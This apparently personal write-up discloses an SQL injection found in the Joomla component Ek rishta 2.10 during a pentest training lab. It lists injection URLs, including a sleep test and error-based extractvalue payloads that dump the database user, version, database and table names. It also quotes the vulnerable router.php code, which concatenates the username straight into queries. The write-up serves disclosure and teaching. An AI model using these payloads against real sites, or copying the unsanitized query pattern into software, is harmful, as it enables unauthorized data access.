The vulnerability was found in a rather unusual way. A few days ago Daybson was setting up a new test lab for the Desec Security’s Professional Penstest course, when he invited me to test it. I had no idea which was the lab’s vulnerability, so I logged in and started testing. I noticed that my username was in the following URL index.php/home/requested_user/Sent%20interest/corp, which seemed a little off to me, maybe there was some file generated during the registration or something, but in fact I noticed that it wasn’t a file but an URL parameter.
The first obvious test was to add single quotes to it and see what was returned:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23

So, having this error, we realize we have a SQL injection!
Making another test, just to be sure:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23

All ok to this point but I noticed a limitation when trying to dump the database the classic way, even when using blind. It seemed strange to the that I didn’t get a response for some queries, but I figured out I was somewhat limited and after some research I realized I’d have to dump it using error based with XPATH.
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23

Well, up to this stage, the best way would be creating a script to dump it!
After this I was still curious about how the component was capturing this URL’s part, so I downloaded and searched the source code until I found this part:
router.php
238 - if(!empty($segments\[2\]) && $segments\[0\]=='requested_user') {
239 - $c_id = EkrishtaUsrID($segments\[2\]);
240 - if($segments\[1\] == "Sent interest")
241 - $vars\['rid'\] = $c_id;
242 - else
243 - $vars\['cid'\] = $c_id;
244 - }
After a quick glance we know that $c_id is capturing the URL’s bit that contains our username and adding it to an array ($vars). We can basically guess that the EkrishtaUsrID() function is searching our ID or username in the database but let’s see what it’s really doing.
Searching for the EkrishtaUsrID() function, I found it in the same file and it’s possible to see that there’s a sanitization failure in the lines 295 and 305.
291 - function EkrishtaUsrName($uid)
292 - {
293 -
294 - $db = JFactory::getDBO();
295 - $sql = "SELECT \`username\` FROM #__users WHERE \`id\`='". $uid."'";
296 - $db->setQuery($sql);
297 - return $db->loadResult();
298 -
299 - }
300 -
301 - function EkrishtaUsrID($uid_name)
302 - {
303 -
304 - $db = JFactory::getDBO();
305 - $sql = "SELECT \`id\` FROM #\_\_users WHERE \`username\`= '" .$uid\_name."'";
306 - $db->setQuery($sql);
307 - return $db->loadResult();
308 -
309 - }
Closing up the story the vulnerability I found wasn’t supposed the be in the lab’s syllabus, neither signed or related to any another discovery, so I just captured myself a CVE :).
Exploit
Joomla Component Ek rishta 2.10 - SQL Injection